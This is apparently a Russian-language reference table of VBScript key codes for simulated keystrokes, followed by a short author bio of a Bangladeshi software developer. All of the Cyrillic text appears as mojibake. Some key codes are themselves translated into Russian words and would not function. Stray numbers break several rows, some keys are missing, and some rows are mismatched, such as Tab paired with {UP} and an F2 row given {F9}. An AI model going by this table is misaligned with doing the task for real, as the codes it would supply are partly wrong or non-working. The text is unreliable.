Π‘ΠΏΠΈΡΠΎΠΊ ΠΊΠΎΠ΄ΠΎΠ² ΠΊΠ»Π°Π²ΠΈΡ Π΄Π»Ρ VBScript:
ΠΠ»Π°Π²ΠΈΡΠ° | ΠΠΎΠ΄ | ||
ΠΠ΅ΡΠ΅ΡΡΠ² | {BREAK} | ||
Backspace | {Backspace}, {BKSP} ΠΈΠ»ΠΈ {BS} | Π£Π΄Π°Π»ΠΈΡΡ ΠΈΠ»ΠΈ {DEL} | |
Π‘ΡΡΠ΅Π»ΠΊΠ° Π²Π½ΠΈΠ· | {ΠΠΠΠ} | ||
ΠΠΎΠ½Π΅Ρ | {END} | ||
ΠΠ²Π΅Π΄ΠΈΡΠ΅ | {ENTER} ΠΈΠ»ΠΈ ~ | ||
Π‘ΠΏΡΠ°Π²ΠΊΠ° | {HELP} | ||
Home | {HOME} | ||
ΠΡΡΠ°Π²ΠΊΠ° | {INSERT} ΠΈΠ»ΠΈ {INS} | ||
Num Lock | {NUMLOCK} | ||
Page Down | {PGDN} | ||
Page Up | {PGUP} | ||
{PRTSC} | |||
Π‘ΡΡΠ΅Π»ΠΊΠ° Π²ΠΏΡΠ°Π²ΠΎ | {ΠΠΠ ΠΠΠ} | ||
ΠΠ»ΠΎΠΊΠΈΡΠΎΠ²ΠΊΠ° ΠΏΡΠΎΠΊΡΡΡΠΊΠΈ | {SCROLLLOCK} | ||
Tab | 9036 9036Tab | 9036 9036{UP} | |
F1 | {F1} | ||
F2 | {F2} | ||
F3 | {F3} | ||
F5 | {F5} | ||
F6 | {F6} | ||
F7 | {F7} | ||
9036 F2 902 902 902 | {F9} | ||
F10 | {F10} | ||
F11 | {F11} | ||
F12 | {F12} | ||
{F13} | |||
F14 | {F14} | ||
F15 | {F15} | ||
F16 | {F16} 903 902 | ||
Ctrl | {^} | ||
ΠΠ»ΠΎΠΊΠΈΡΠΎΠ²ΠΊΠ° ΠΏΠ΅ΡΠ΅ΠΊΠ»ΡΡΠ΅Π½ΠΈΡ ΠΏΠ΅ΡΠ΅Π΄Π°Ρ | {+} |
Π Π°Π·ΡΠ°Π±ΠΎΡΡΠΈΠΊ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ½ΠΎΠ³ΠΎ ΠΎΠ±Π΅ΡΠΏΠ΅ΡΠ΅Π½ΠΈΡ (ΡΡΠ°ΡΡΠΈΠΉ) BRAC ICT | ||
ΠΠ°Π½Π³Π»Π°Π΄Π΅Ρ |
Π¨Π°ΠΉΡΡΠ» ΠΡΠ»Π°ΠΌ (ΠΠ°Π»Π°Ρ) — ΡΠ΅Π»Π΅ΡΡΡΡΠ΅ΠΌΠ»Π΅Π½Π½ΡΠΉ, ΡΠ½Π΅ΡΠ³ΠΈΡΠ½ΡΠΉ, ΠΏΠΎΠ»ΡΠ·ΡΡΡΠΈΠΉΡΡ Π΄ΠΎΠ²Π΅ΡΠΈΠ΅ΠΌ, Π²Π΅Π΄ΡΡΠΈΠΉ ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ-ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΡ Ρ Π±ΠΎΠ»Π΅Π΅ ΡΠ΅ΠΌ 5-Π»Π΅ΡΠ½ΠΈΠΌ ΠΎΠΏΡΡΠΎΠΌ ΠΈ Π·Π½Π°Π½ΠΈΡΠΌΠΈ Π² ΠΎΠ±Π»Π°ΡΡΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ.